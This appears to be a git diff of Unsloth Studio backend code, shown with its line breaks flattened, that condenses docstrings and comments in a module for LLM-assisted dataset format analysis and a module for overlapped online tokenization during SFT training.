@@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""LLM-assisted dataset analysis using an ephemeral GGUF helper model.--Complements heuristic detection (format_detection.py, vlm_processing.py); only-invoked when heuristics are uncertain. Loads LlamaCppBackend, runs completion(s),-unloads (VRAM freed immediately). Degrades gracefully to None when unavailable.-"""+"""LLM-assisted dataset analysis using an ephemeral GGUF helper model. Complements heuristic detection (format_detection.py, vlm_processing.py) and is only invoked when heuristics are uncertain: loads LlamaCppBackend, runs completions, unloads (VRAM freed immediately). Degrades gracefully to None when unavailable."""import jsonimport logging@@ -45,10 +40,7 @@ def _strip_think_tags(text: str) -> str:def precache_helper_gguf():- """Pre-download the helper GGUF to HF cache (on startup, background thread).-- Lets later ``_run_with_helper()`` calls skip the download. No-op if cached or disabled.- """+ """Pre-download the helper GGUF to the HF cache (on startup, background thread) so later ``_run_with_helper()`` calls skip the download. No-op if cached or disabled."""if os.environ.get("UNSLOTH_HELPER_MODEL_DISABLE", "").strip() in ("1", "true"):return@@ -65,9 +57,7 @@ def precache_helper_gguf():)from utils.hf_cache_settings import active_hf_hub_cache- # Remember whether bars were already off. Unsloth turns them off for the whole- # server, so enabling them unconditionally on the way out would undo that for- # every later in-process download.+ # Remember whether bars were already off: Unsloth turns them off for the whole server, so enabling them unconditionally on the way out would undo that for every later in-process download._bars_were_off = bool(are_progress_bars_disabled())disable_progress_bars()logging.getLogger("huggingface_hub").setLevel(logging.WARNING)@@ -76,7 +66,6 @@ def precache_helper_gguf():files = api.list_repo_files(repo, repo_type = "model")gguf_files = [f for f in files if f.endswith(".gguf")]- # GGUF files matching the variant (may be split into shards).variant_lower = variant.lower().replace("-", "_")matching = sorted(f for f in gguf_files if variant_lower in f.lower().replace("-", "_"))@@ -172,10 +161,7 @@ def llm_generate_vlm_instruction(samples: list[dict],dataset_name: Optional[str] = None,) -> Optional[dict]:- """Ask a helper LLM for a task-specific VLM instruction (when heuristics are low-confidence).-- Returns {"instruction": str, "confidence": 0.85} or None.- """+ """Ask a helper LLM for a task-specific VLM instruction when heuristics are low-confidence. Returns {"instruction": str, "confidence": 0.85} or None."""formatted = ""for i, row in enumerate(samples[:5], 1):parts = []@@ -202,7 +188,6 @@ def llm_generate_vlm_instruction(return Noneinstruction = result.strip().strip('"').strip("'").strip()- # Reject bad outputs (too short, too long, or multi-line).if len(instruction) < 10 or len(instruction) > 200 or "\n" in instruction:logger.warning(f"Helper model returned unusable instruction: {instruction!r}")return None@@ -215,10 +200,7 @@ def llm_generate_vlm_instruction(def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Optional[dict[str, str]]:- """Ask a helper LLM to classify columns into roles (when heuristic detection fails).-- Returns {column_name: role} for roles user|assistant|system|metadata, or None.- """+ """Ask a helper LLM to classify columns into roles when heuristic detection fails. Returns {column_name: role} for roles user/assistant/system/metadata, or None."""formatted = ""for i, row in enumerate(samples[:5], 1):parts = []@@ -243,7 +225,6 @@ def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Optionif not result:return None- # Parse JSON from response (may have markdown fences).text = result.strip()if text.startswith("```"):lines = text.split("\n")@@ -268,7 +249,6 @@ def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Optionif not isinstance(mapping, dict):return None- # Keep only valid roles.valid_roles = {"user", "assistant", "system", "metadata"}cleaned = {}for col, role in mapping.items():@@ -278,7 +258,6 @@ def llm_classify_columns(column_names: list[str], samples: list[dict]) -> Optionif not cleaned:return None- # Must have at least user + assistant.roles_present = set(cleaned.values())if "user" not in roles_present or "assistant" not in roles_present:logger.warning(f"Helper model mapping missing user/assistant: {cleaned}")@@ -294,10 +273,7 @@ def llm_generate_dataset_warning(modality: str = "text",column_names: Optional[list[str]] = None,) -> Optional[str]:- """Ask the helper LLM to turn technical dataset issues into a friendly warning (any modality).-- Returns a human-friendly warning string, or None on failure.- """+ """Ask the helper LLM to turn technical dataset issues into a friendly warning (any modality). Returns the warning string, or None on failure."""if not issues:return None@@ -337,13 +313,11 @@ def _parse_json_response(text: str) -> Optional[dict]:cleaned = text.strip()- # Strip markdown code fencesif cleaned.startswith("```"):lines = cleaned.split("\n")end = -1 if lines[-1].strip().startswith("```") else len(lines)cleaned = "\n".join(lines[1:end]).strip()- # Try direct parsetry:obj = json.loads(cleaned)if isinstance(obj, dict):@@ -351,7 +325,7 @@ def _parse_json_response(text: str) -> Optional[dict]:except json.JSONDecodeError:pass- # Greedy match for outermost {...}+ # Greedy match for the outermost {...}.match = re.search(r"\{.*\}", cleaned, re.DOTALL)if match:try:@@ -399,7 +373,6 @@ def fetch_hf_dataset_card(card = DatasetCard.load(dataset_name, token = hf_token)readme = card.text or ""- # Truncate at sentence boundaryif len(readme) > README_MAX_CHARS:cut = readme[:README_MAX_CHARS].rfind(".")if cut > README_MAX_CHARS // 2:@@ -407,7 +380,6 @@ def fetch_hf_dataset_card(else:readme = readme[:README_MAX_CHARS] + "\n[...truncated]"- # Extract metadata from YAML frontmatter.metadata = {}if card.data:for key in (@@ -441,10 +413,7 @@ def _run_multi_pass_advisor(model_type: Optional[str] = None,hf_token: Optional[str] = None,) -> Optional[dict[str, Any]]:- """Multi-pass LLM analysis (classify -> convert -> validate), model loaded across passes.-- Returns combined result dict or None.- """+ """Multi-pass LLM analysis (classify, convert, validate) with the model loaded across passes. Returns a combined result dict or None."""if os.environ.get("UNSLOTH_HELPER_MODEL_DISABLE", "").strip() in ("1", "true"):return None@@ -471,7 +440,6 @@ def _run_multi_pass_advisor(return Nonelogger.info(f"Advisor model loaded in {time.monotonic() - t0:.1f}s")- # ── Format samples ──samples_text = ""for i, row in enumerate(samples[:5], 1):parts = [f" {col}: {str(row.get(col, ''))[:200]}" for col in columns]@@ -482,7 +450,6 @@ def _run_multi_pass_advisor()card_excerpt = (dataset_card or "")[:1200] or "N/A"- # ── Target Model Hints ──target_hints = ""is_gemma_3n = Falseif model_name:@@ -518,7 +485,6 @@ def _run_multi_pass_advisor("Ensure the dataset format mapped reflects these specialized tasks.")- # ── Pass 1: Classify ──logger.info("Pass 1: Classifying dataset...")t1 = time.monotonic()messages1 = [@@ -584,7 +550,6 @@ def _run_multi_pass_advisor(),}- # ── Pass 2: Map columns to roles ──logger.info("Pass 2: Mapping columns to roles...")t2 = time.monotonic()@@ -673,17 +638,15 @@ def _run_multi_pass_advisor(logger.warning(f"Advisor Pass 2 failed to produce JSON: {raw2[:200]}")return None- # ── Extract and validate column roles from Pass 2 ──column_roles = pass2.get("column_roles", {})label_map = pass2.get("label_mapping") or {}- # Must have at least one user AND one assistant+ # Must have at least one user AND one assistant.roles_present = set(column_roles.values())if "user" not in roles_present or "assistant" not in roles_present:logger.warning(f"Pass 2 sanity fail: missing user or assistant role: {column_roles}")return None- # ── Pass 3: System prompt (non-conversational datasets only) ──sys_prompt = ""dtype = pass1.get("dataset_type", "unknown")is_conv = pass1.get("is_conversational", False)@@ -692,7 +655,6 @@ def _run_multi_pass_advisor(logger.info("Pass 3: Generating system prompt...")t3 = time.monotonic()- # Format label mapping for the prompt.label_info = ""if label_map:for col, mapping in label_map.items():@@ -739,13 +701,11 @@ def _run_multi_pass_advisor(if len(cleaned) >= 20 and cleaned.lower() not in ("null", "none", ""):sys_prompt = cleaned- # Build suggested_mapping (column -> role) for the frontend dropdowns.suggested_mapping = {}for col, role in column_roles.items():if col in columns and role in ("user", "assistant", "system"):suggested_mapping[col] = role- # Build user notification from Pass 1 classification.desc = pass1.get("task_description") or pass1.get("description", "")note_parts = [f"This is a {dtype} dataset (not conversational)."]if desc:@@ -791,13 +751,8 @@ def llm_conversion_advisor(model_name: Optional[str] = None,model_type: Optional[str] = None,) -> Optional[dict[str, Any]]:- """Full conversion advisor: fetch HF card -> multi-pass LLM analysis.-- Falls back to simple llm_classify_columns() if the multi-pass advisor fails.- Returns a result dict (success, suggested_mapping, system_prompt, label_mapping,- dataset_type, is_conversational, user_notification, ...) or None.- """- # Fetch HF dataset card if this looks like a HF dataset (has a slash).+ """Full conversion advisor: fetch the HF card, then run the multi-pass LLM analysis, falling back to simple llm_classify_columns() if that fails. Returns a result dict (success, suggested_mapping, system_prompt, label_mapping, dataset_type, is_conversational, user_notification, ...) or None."""+ # Fetch the HF dataset card if this looks like a HF dataset (has a slash).dataset_card = Nonedataset_metadata = Noneif dataset_name and "/" in dataset_name:@@ -818,7 +773,6 @@ def llm_conversion_advisor(logger.info(f"Conversion advisor succeeded: type={result.get('dataset_type')}")return result- # Fallback: simple column classification.logger.info("Advisor failed, falling back to simple column classification")simple_mapping = llm_classify_columns(column_names, samples)if simple_mapping:diff --git a/studio/backend/utils/datasets/online_tokenization.py b/studio/backend/utils/datasets/online_tokenization.pyindex fb51ecd565f..10ef879df49 100644--- a/studio/backend/utils/datasets/online_tokenization.py+++ b/studio/backend/utils/datasets/online_tokenization.py@@ -1,36 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Online (overlapped) dataset tokenization for the plain-text SFT path.--TRL's ``_prepare_dataset`` maps over every row before ``train()`` may begin: the-largest fixed startup cost (97s of 106s of preparation on 100k rows of-OpenMathReasoning at ``dataset_num_proc = 8``), and all of it overlappable with-the GPU. This module moves it into the DataLoader workers. Four pieces, all-needed together:--1. ``datasets.Dataset.with_transform`` attaches a per-batch tokenizer that runs- on ``__getitem__``. It returns an immutable *view*; ``set_transform`` would- mutate the caller's object, which the preview/eval code also holds.-2. TRL gets ``dataset_kwargs = {"skip_prepare_dataset": True}`` so it does not- map over the view, materialising the pass we are avoiding. Unsloth already- uses that hook for the VLM branch.-3. ``dataloader_num_workers`` > 0 with prefetch and persistent workers, so the- tokenizer runs overlapped with the GPU.-4. A prewarm barrier pulls ``max(grad_accum, workers * prefetch)`` microbatches- before ``train()``: plain prefetch does not promise the first ``__next__``.--The transform reproduces ``unsloth_zoo.dataset_utils.sft_prepare_dataset``'s-tokenize step exactly (truncation, ``max_length``, double-BOS rule), so rows are-byte-identical to the eager path. Anything where that is not provable stays-eager; see :func:`decide_online_tokenization`.--Two costs worth stating. The pass gate counts TRAIN passes only: a lazy eval-split is re-tokenized on every evaluation where the eager map tokenized once,-which scales with ``eval_steps``. And the workers are persistent by design (the-barrier's workers must survive into ``train()``), so they need explicit shutdown-at the end; see :func:`release_train_dataloader`.-"""+"""Online (overlapped) dataset tokenization for the plain-text SFT path. TRL's ``_prepare_dataset`` maps over every row before ``train()`` may begin: the largest fixed startup cost (97s of 106s of preparation on 100k rows of OpenMathReasoning at ``dataset_num_proc = 8``), and all of it overlappable with the GPU, so this module moves it into the DataLoader workers. Four pieces, all needed together: ``datasets.Dataset.with_transform`` attaches a per-batch tokenizer that runs on ``__getitem__`` and returns an immutable *view* (``set_transform`` would mutate the caller's object, which the preview/eval code also holds); TRL gets ``dataset_kwargs = {"skip_prepare_dataset": True}`` so it does not map over the view and materialise the pass we are avoiding, the same hook Unsloth's VLM branch uses; ``dataloader_num_workers`` > 0 with prefetch and persistent workers runs the tokenizer overlapped with the GPU; and a prewarm barrier pulls ``max(grad_accum, workers * prefetch)`` microbatches before ``train()``, since plain prefetch does not promise the first ``__next__``. The transform reproduces ``unsloth_zoo.dataset_utils.sft_prepare_dataset``'s tokenize step exactly (truncation, ``max_length``, double-BOS rule), so rows are byte-identical to the eager path, and anything where that is not provable stays eager; see :func:`decide_online_tokenization`. Two costs worth stating: the pass gate counts TRAIN passes only, so a lazy eval split is re-tokenized on every evaluation where the eager map tokenized once, which scales with ``eval_steps``; and the workers are persistent by design (the barrier's workers must survive into ``train()``), so they need explicit shutdown at the end, see :func:`release_train_dataloader`."""from __future__ import annotations@@ -44,38 +15,29 @@ from loggers import get_loggerlogger = get_logger(__name__)-# Below this the eager map costs seconds and does not pay for four workers. 10k-# is the smallest size the A/B measured a win at (first step 23.1s -> 12.1s).+# Below this the eager map costs seconds and does not pay for four workers. 10k is the smallest size the A/B measured a win at (first step 23.1s -> 12.1s).MIN_ROWS_FOR_ONLINE = 10_000# Measured: four workers stayed ahead of a B200 on a 0.6B model; more only costs.MAX_ONLINE_WORKERS = 4-# Fewer than this and the tokenizer falls behind the GPU: slower steps, not a-# faster start.+# Fewer than this and the tokenizer falls behind the GPU: slower steps, not a faster start.MIN_ONLINE_WORKERS = 2DEFAULT_PREFETCH_FACTOR = 4ENV_FLAG = "UNSLOTH_STUDIO_ONLINE_TOKENIZATION"-# Presence means already tokenized, or a prompt/completion split the zoo-# tokenizes with a different function.+# Presence means already tokenized, or a prompt/completion split the zoo tokenizes with a different function._PRETOKENIZED_COLUMNS = ("input_ids", "labels", "prompt", "completion")-# Stamped on the view by :func:`attach_online_tokenization`; unsloth's-# `max_length` scan reads it as proof every row is already truncated to that-# width, instead of reading every row of a lazy split -- the eager pass again.+# Stamped on the view by :func:`attach_online_tokenization`; unsloth's `max_length` scan reads it as proof every row is already truncated to that width, instead of reading every row of a lazy split, the eager pass again.TRUNCATION_ATTESTATION_ATTR = "_unsloth_truncated_to"@dataclass(frozen = True)class OnlineTokenizationDecision:- """Whether this run takes the online path, and with what settings.-- ``enabled`` False means behave exactly as before; ``reason`` names the gate- that decided it, for the training log.- """+ """Whether this run takes the online path, and with what settings. ``enabled`` False means behave exactly as before; ``reason`` names the gate that decided it, for the training log."""enabled: boolreason: str@@ -95,12 +57,7 @@ class OnlineTokenizationDecision:def env_override() -> Optional[bool]:- """``UNSLOTH_STUDIO_ONLINE_TOKENIZATION``: 0/false forces off, 1/true forces on.-- Unset returns None and the gates decide. Forcing on only drops the heuristic- gates (row count, epoch count); correctness gates always stand, since the- lazy path on a VLM or pre-tokenized split does not train differently, it fails.- """+ """``UNSLOTH_STUDIO_ONLINE_TOKENIZATION``: 0/false forces off, 1/true forces on. Unset returns None and the gates decide. Forcing on only drops the heuristic gates (row count, epoch count); correctness gates always stand, since the lazy path on a VLM or pre-tokenized split does not train differently, it fails."""raw = os.environ.get(ENV_FLAG)if raw is None:return None@@ -113,13 +70,7 @@ def env_override() -> Optional[bool]:def dataloader_worker_start_method() -> Optional[str]:- """How DataLoader workers will actually start, read without fixing it.-- ``get_start_method()`` with no argument RESOLVES and pins the default, after- which ``set_start_method()`` raises. So: the explicitly set method if any,- else the platform default, which is ``get_all_start_methods()[0]`` and costs- nothing to read.- """+ """How DataLoader workers will actually start, read without fixing it. ``get_start_method()`` with no argument RESOLVES and pins the default, after which ``set_start_method()`` raises, so: the explicitly set method if any, else the platform default, which is ``get_all_start_methods()[0]`` and costs nothing to read."""try:import multiprocessing@@ -133,27 +84,14 @@ def dataloader_worker_start_method() -> Optional[str]:def platform_supports_dataloader_workers() -> bool:- """Fork, and only fork.-- The hazard is ``spawn``, not the OS: a spawned worker re-imports the entry- point against a fresh ``sys.path``, and Unsloth's is modified in-process, so- the import fails (why ``trainer.py`` already forces 0 workers on Windows and- macOS, which default to spawn). A Linux process set to ``spawn`` or- ``forkserver`` is the same hazard, and a platform check cannot see it.- """+ """Fork, and only fork. The hazard is ``spawn``, not the OS: a spawned worker re-imports the entry point against a fresh ``sys.path``, and Unsloth's is modified in-process, so the import fails (why ``trainer.py`` already forces 0 workers on Windows and macOS, which default to spawn). A Linux process set to ``spawn`` or ``forkserver`` is the same hazard, and a platform check cannot see it."""if sys.platform in ("win32", "darwin"):return Falsereturn dataloader_worker_start_method() == "fork"def trl_supports_skip_prepare_dataset() -> bool:- """Feature-detect the ``skip_prepare_dataset`` hook.-- ``SFTConfig`` must carry ``dataset_kwargs`` and ``SFTTrainer.__init__`` must- read the key. If the source is unreadable (compiled or patched build) the- field alone decides: Unsloth's VLM branch has relied on this hook across every- supported TRL, so a missing source is not evidence of a missing hook.- """+ """Feature-detect the ``skip_prepare_dataset`` hook. ``SFTConfig`` must carry ``dataset_kwargs`` and ``SFTTrainer.__init__`` must read the key. If the source is unreadable (compiled or patched build) the field alone decides: Unsloth's VLM branch has relied on this hook across every supported TRL, so a missing source is not evidence of a missing hook."""try:import dataclasses@@ -177,11 +115,7 @@ def trl_supports_skip_prepare_dataset() -> bool:def dataset_supports_with_transform(dataset: Any) -> bool:- """A map-style ``datasets.Dataset`` with the lazy-view API.-- Not a ``hasattr`` check: recent ``IterableDataset`` also has- ``with_transform``, and a stream is exactly what must not be touched.- """+ """A map-style ``datasets.Dataset`` with the lazy-view API. Not a ``hasattr`` check: recent ``IterableDataset`` also has ``with_transform``, and a stream is exactly what must not be touched."""try:from datasets import Dataset as HfDatasetfrom datasets import IterableDataset as HfIterableDataset@@ -195,11 +129,7 @@ def dataset_supports_with_transform(dataset: Any) -> bool:def is_processor(processing_class: Any) -> bool:- """True for a multimodal processor rather than a plain tokenizer.-- ``ProcessorMixin`` first, then the ``hasattr(x, "tokenizer")`` test- ``sft_prepare_dataset`` itself uses.- """+ """True for a multimodal processor rather than a plain tokenizer. ``ProcessorMixin`` first, then the ``hasattr(x, "tokenizer")`` test ``sft_prepare_dataset`` itself uses."""try:from transformers import ProcessorMixinif isinstance(processing_class, ProcessorMixin):@@ -210,12 +140,7 @@ def is_processor(processing_class: Any) -> bool:def model_needs_token_type_ids(model: Any, processing_class: Any) -> bool:- """Mirror of the zoo's ``_needs_token_type_ids`` probe.-- Gemma-family modules build their causal mask from ``token_type_ids``, so the- zoo asks for them. Rather than reproduce that column lazily, decline those- models and leave them eager.- """+ """Mirror of the zoo's ``_needs_token_type_ids`` probe. Gemma-family modules build their causal mask from ``token_type_ids``, so the zoo asks for them; rather than reproduce that column lazily, decline those models and leave them eager."""marker = "create_" + "causal_mask_mapping"try:candidates = [model, getattr(model, "model", None)]@@ -253,18 +178,7 @@ def dataset_column_names(dataset: Any) -> tuple:def text_column_defect(dataset: Any, text_field: str) -> Optional[str]:- """Why ``text_field`` cannot be tokenized lazily, or None when it can.-- The eager map fails on a null or non-string row inside the constructor, in- seconds. The lazy view fails only when the sampler draws that row, possibly- hours in with checkpoints behind it -- the one way this feature makes a- failing run worse rather than slower, so those shapes are refused up front.-- Both checks are metadata, not rows: dtype off the schema, and Arrow's- per-chunk ``null_count``. A ``select``ed split keeps the full backing table,- so its null count over-reports, vetoing a split that might have been fine and- never the other way round.- """+ """Why ``text_field`` cannot be tokenized lazily, or None when it can. The eager map fails on a null or non-string row inside the constructor, in seconds; the lazy view fails only when the sampler draws that row, possibly hours in with checkpoints behind it, the one way this feature makes a failing run worse rather than slower, so those shapes are refused up front. Both checks are metadata, not rows: dtype off the schema, and Arrow's per-chunk ``null_count``. A ``select``ed split keeps the full backing table, so its null count over-reports, vetoing a split that might have been fine and never the other way round."""try:from datasets import Valuefeatures = getattr(dataset, "features", None) or {}@@ -286,11 +200,7 @@ def text_column_defect(dataset: Any, text_field: str) -> Optional[str]:def resolve_worker_count(desired: Optional[int] = None) -> int:- """How many DataLoader workers this host can spare, 0 for "do not".-- Sized by the same policy as ``dataset_num_proc`` (CPU affinity and cgroup- quota, not raw ``os.cpu_count()``), capped at :data:`MAX_ONLINE_WORKERS`.- """+ """How many DataLoader workers this host can spare, 0 for "do not". Sized by the same policy as ``dataset_num_proc`` (CPU affinity and cgroup quota, not raw ``os.cpu_count()``), capped at :data:`MAX_ONLINE_WORKERS`."""if not platform_supports_dataloader_workers():return 0try:@@ -304,20 +214,12 @@ def resolve_worker_count(desired: Optional[int] = None) -> int:def prewarm_batch_count(grad_accum: int, workers: int, prefetch_factor: int) -> int:- """Microbatches to pull before ``train()``.-- ``grad_accum`` because step 1 needs that many, and ``workers *- prefetch_factor`` because that is the in-flight depth to fill.- """+ """Microbatches to pull before ``train()``: ``grad_accum`` because step 1 needs that many, and ``workers * prefetch_factor`` because that is the in-flight depth to fill."""return max(1, int(grad_accum or 1), int(workers or 0) * int(prefetch_factor or 0))def _epoch_count(num_train_epochs: Optional[float], max_steps: Optional[int]) -> float:- """Epochs this run will actually perform.-- ``max_steps > 0`` wins over ``num_train_epochs``, and a step-capped run is- not assumed to be one epoch: unknown (``inf``) unless the caller resolved it.- """+ """Epochs this run will actually perform. ``max_steps > 0`` wins over ``num_train_epochs``, and a step-capped run is not assumed to be one epoch: unknown (``inf``) unless the caller resolved it."""if max_steps and int(max_steps) > 0:return float("inf")try:@@ -351,11 +253,7 @@ def decide_online_tokenization(prefetch_factor: int = DEFAULT_PREFETCH_FACTOR,resolved_max_steps_epochs: Optional[float] = None,) -> OnlineTokenizationDecision:- """Decide whether this run may tokenize online. Pure, GPU-free, testable.-- Every gate is a veto, correctness before cost, so the log reads "off (VLM)"- rather than "off (dataset too small)" when both are true.- """+ """Decide whether this run may tokenize online. Pure, GPU-free, testable. Every gate is a veto, correctness before cost, so the log reads "off (VLM)" rather than "off (dataset too small)" when both are true."""checks: list = []def veto(reason: str) -> OnlineTokenizationDecision:@@ -427,7 +325,6 @@ def decide_online_tokenization(return veto("not enough CPU workers to stay ahead of the GPU")checks.append(("correctness gates", True))- # ---- cost gates: the escape hatch may override these ----forced = override is Trueif row_count is None:@@ -443,9 +340,7 @@ def decide_online_tokenization(if resolved_max_steps_epochs is not Noneelse _epoch_count(num_train_epochs, max_steps))- # The lazy view re-tokenizes every pass: +2.9% of steady-state time measured over 2.4 epochs, paid per epoch against- # a one-off 97s map, so anything past a single pass keeps the Arrow cache.- # Measured 237.2s eager against 244.1s online, identical loss.+ # The lazy view re-tokenizes every pass: +2.9% of steady-state time measured over 2.4 epochs, paid per epoch against a one-off 97s map, so anything past a single pass keeps the Arrow cache. Measured 237.2s eager against 244.1s online, identical loss.if not forced and epochs > 1.0:detail = ("step-capped run of unknown length"@@ -468,12 +363,7 @@ def decide_online_tokenization(def resolve_add_special_tokens(processing_class: Any, sample_text: Optional[str]) -> bool:- """The zoo's double-BOS rule, copied rather than re-derived (getting it wrong- shifts every row by a token).-- ``sft_prepare_dataset`` turns ``add_special_tokens`` off when the rendered- text already starts with BOS, or when the chat template emits one.- """+ """The zoo's double-BOS rule, copied rather than re-derived (getting it wrong shifts every row by a token): ``sft_prepare_dataset`` turns ``add_special_tokens`` off when the rendered text already starts with BOS, or when the chat template emits one."""tokenizer = getattr(processing_class, "tokenizer", None)chat_template = getattr(processing_class, "chat_template", "") or ""if not chat_template and tokenizer is not None:@@ -496,15 +386,7 @@ def resolve_add_special_tokens(processing_class: Any, sample_text: Optional[str]def build_tokenizing_transform(tokenizer: Any, text_field: str, max_length: int, add_special_tokens: bool):- """A batched ``with_transform`` callable equivalent to the zoo's ``_tokenize``.-- ``with_transform`` passes a dict of column lists and wants the same row count- back, so the batch is encoded in one call, as the eager map does.-- The tokenizer's whole output is passed through, not just ``input_ids``: the- eager map keeps it too (``remove_columns`` drops only original columns), and- the collator and attention dispatcher branch on which keys are present.- """+ """A batched ``with_transform`` callable equivalent to the zoo's ``_tokenize``. ``with_transform`` passes a dict of column lists and wants the same row count back, so the batch is encoded in one call, as the eager map does. The tokenizer's whole output is passed through, not just ``input_ids``: the eager map keeps it too (``remove_columns`` drops only original columns), and the collator and attention dispatcher branch on which keys are present."""def transform(batch: dict) -> dict:texts = batch[text_field]@@ -522,19 +404,7 @@ def build_tokenizing_transform(def attach_online_tokenization(dataset: Any, *, tokenizer: Any, text_field: str, max_length: int, add_special_tokens: bool):- """Return an immutable lazily-tokenizing view of ``dataset``.-- ``with_transform``, not ``set_transform``: the caller's object is also held by- the dataset preview and row-count checks, and mutating it in place would- silently change what those see.-- ``columns = [text_field]`` avoids materialising large unused columns on every- ``__getitem__``.-- The view is stamped with :data:`TRUNCATION_ATTESTATION_ATTR` so unsloth's- ``max_length`` enforcement trusts the cap instead of reading every row, which- on a lazy split is the eager tokenize pass again.- """+ """Return an immutable lazily-tokenizing view of ``dataset``. ``with_transform``, not ``set_transform``: the caller's object is also held by the dataset preview and row-count checks, and mutating it in place would silently change what those see. ``columns = [text_field]`` avoids materialising large unused columns on every ``__getitem__``. The view is stamped with :data:`TRUNCATION_ATTESTATION_ATTR` so unsloth's ``max_length`` enforcement trusts the cap instead of reading every row, which on a lazy split is the eager tokenize pass again."""transform = build_tokenizing_transform(tokenizer, text_field, max_length, add_special_tokens)try:view = dataset.with_transform(transform, columns = [text_field])@@ -566,12 +436,7 @@ def first_sample_text(dataset: Any, text_field: str) -> Optional[str]:def online_config_args(decision: OnlineTokenizationDecision) -> dict:- """The ``SFTConfig`` keys the online path needs, and nothing else.-- ``remove_unused_columns`` must be False: ``_remove_unused_columns`` reads- ``column_names``, which on a transformed split reports the backing table, so- it would strip the column the transform reads.- """+ """The ``SFTConfig`` keys the online path needs, and nothing else. ``remove_unused_columns`` must be False: ``_remove_unused_columns`` reads ``column_names``, which on a transformed split reports the backing table, so it would strip the column the transform reads."""return {"dataset_kwargs": {"skip_prepare_dataset": True},"remove_unused_columns": False,@@ -582,18 +447,7 @@ def online_config_args(decision: OnlineTokenizationDecision) -> dict:def memoize_train_dataloader(trainer: Any) -> bool:- """Make the prewarmed train DataLoader the one ``train()`` actually uses.-- transformers memoizes only the EVAL loaders (``_eval_dataloaders``); the train- loader is rebuilt every call, so without this ``train()`` discards the- barrier's warmed workers and forks four more.-- ``_inner_training_loop`` calls ``get_train_dataloader()`` once, so a one-shot- memo changes no semantics and avoids preparing the dataset twice. The cache- lives on the trainer, not only in the closure, so- :func:`release_train_dataloader` can reach the loader and shut it down.- Returns whether the memo was installed.- """+ """Make the prewarmed train DataLoader the one ``train()`` actually uses. transformers memoizes only the EVAL loaders (``_eval_dataloaders``); the train loader is rebuilt every call, so without this ``train()`` discards the barrier's warmed workers and forks four more. ``_inner_training_loop`` calls ``get_train_dataloader()`` once, so a one-shot memo changes no semantics and avoids preparing the dataset twice. The cache lives on the trainer, not only in the closure, so :func:`release_train_dataloader` can reach the loader and shut it down. Returns whether the memo was installed."""getter = getattr(trainer, "get_train_dataloader", None)if getter is None or getattr(trainer, "_unsloth_online_memoized", False):return False@@ -615,12 +469,7 @@ def memoize_train_dataloader(trainer: Any) -> bool:def _nested_loaders(loader: Any):- """``loader`` and whatever it wraps, outermost first.-- ``accelerator.prepare`` returns a ``DataLoaderShard`` or a wrapper holding- ``base_dataloader`` depending on version; the workers belong to whichever- object owns ``_iterator``.- """+ """``loader`` and whatever it wraps, outermost first. ``accelerator.prepare`` returns a ``DataLoaderShard`` or a wrapper holding ``base_dataloader`` depending on version; the workers belong to whichever object owns ``_iterator``."""seen: list = []current = loaderfor _ in range(4): # a wrapper chain, not a graph: bounded on purpose@@ -632,11 +481,7 @@ def _nested_loaders(loader: Any):def _shutdown_loader_workers(loader: Any, shut: list) -> int:- """Shut down every worker set ``loader`` (or a wrapper of it) still holds.-- ``shut`` carries iterators already stopped: a wrapper and its inner loader- share one iterator, so count it once but clear the reference at every level.- """+ """Shut down every worker set ``loader`` (or a wrapper of it) still holds. ``shut`` carries iterators already stopped: a wrapper and its inner loader share one iterator, so count it once but clear the reference at every level."""released = 0for candidate in _nested_loaders(loader):iterator = getattr(candidate, "_iterator", None)@@ -655,27 +500,12 @@ def _shutdown_loader_workers(loader: Any, shut: list) -> int:def release_train_dataloader(trainer: Any) -> int:- """Shut down the online run's persistent DataLoader workers. Returns how many.-- Covers the prewarmed train loader and the eval loaders transformers memoized- in ``_eval_dataloaders``; both were built with the same worker settings.-- ``dataloader_persistent_workers = True`` lets the barrier's workers survive- into ``train()``, and equally keeps them alive after it returns: memo holds- loader holds iterator holds the processes, so nothing drops the last- reference. Unsloth then merges, quantizes and exports -- the most- memory-hungry part of a run -- with four forked children still resident, each- holding the parent's CUDA file descriptors.-- Idempotent and never raises: called from a ``finally``, including where- training never started.- """+ """Shut down the online run's persistent DataLoader workers. Returns how many. Covers the prewarmed train loader and the eval loaders transformers memoized in ``_eval_dataloaders``; both were built with the same worker settings. ``dataloader_persistent_workers = True`` lets the barrier's workers survive into ``train()``, and equally keeps them alive after it returns: memo holds loader holds iterator holds the processes, so nothing drops the last reference, and Unsloth then merges, quantizes and exports (the most memory-hungry part of a run) with four forked children still resident, each holding the parent's CUDA file descriptors. Idempotent and never raises: called from a ``finally``, including where training never started."""released = 0cache = getattr(trainer, "_unsloth_online_loader_cache", None)loader = cache.pop("loader", None) if isinstance(cache, dict) else None- # Restore the real bound method, so a reused trainer rebuilds instead of- # handing out a loader whose workers just went away.+ # Restore the real bound method, so a reused trainer rebuilds instead of handing out a loader whose workers just went away.try:trainer.__dict__.pop("get_train_dataloader", None)trainer._unsloth_online_memoized = False@@ -686,10 +516,7 @@ def release_train_dataloader(trainer: Any) -> int:shut: list = []released += _shutdown_loader_workers(loader, shut)- # The EVAL loader inherits the same workers and persistent_workers, and torch keeps its _iterator alive once- # iterated, so eval workers outlive train() just as the train ones do.- # Worker count is a TrainingArguments setting and transformers keeps the eval loader in `_eval_dataloaders`- # (unchanged 4.51.3 through 5.5.0). Drop the memo too, so a later eval rebuilds.+ # The EVAL loader inherits the same workers and persistent_workers, and torch keeps its _iterator alive once iterated, so eval workers outlive train() just as the train ones do. Worker count is a TrainingArguments setting and transformers keeps the eval loader in `_eval_dataloaders` (unchanged 4.51.3 through 5.5.0). Drop the memo too, so a later eval rebuilds.memo = getattr(trainer, "_eval_dataloaders", None)if isinstance(memo, dict):for key in list(memo.keys()):@@ -698,12 +525,7 @@ def release_train_dataloader(trainer: Any) -> int:def quiet_tokenizer_fork_warning() -> None:- """Silence the fast tokenizer's post-fork parallelism notice.-- The Rust tokenizer has already run in parallel by the time workers fork, so- ``tokenizers`` warns and disables its threads in the child anyway. Doing it- explicitly is the same outcome without the noise in the training log.- """+ """Silence the fast tokenizer's post-fork parallelism notice. The Rust tokenizer has already run in parallel by the time workers fork, so ``tokenizers`` warns and disables its threads in the child anyway; doing it 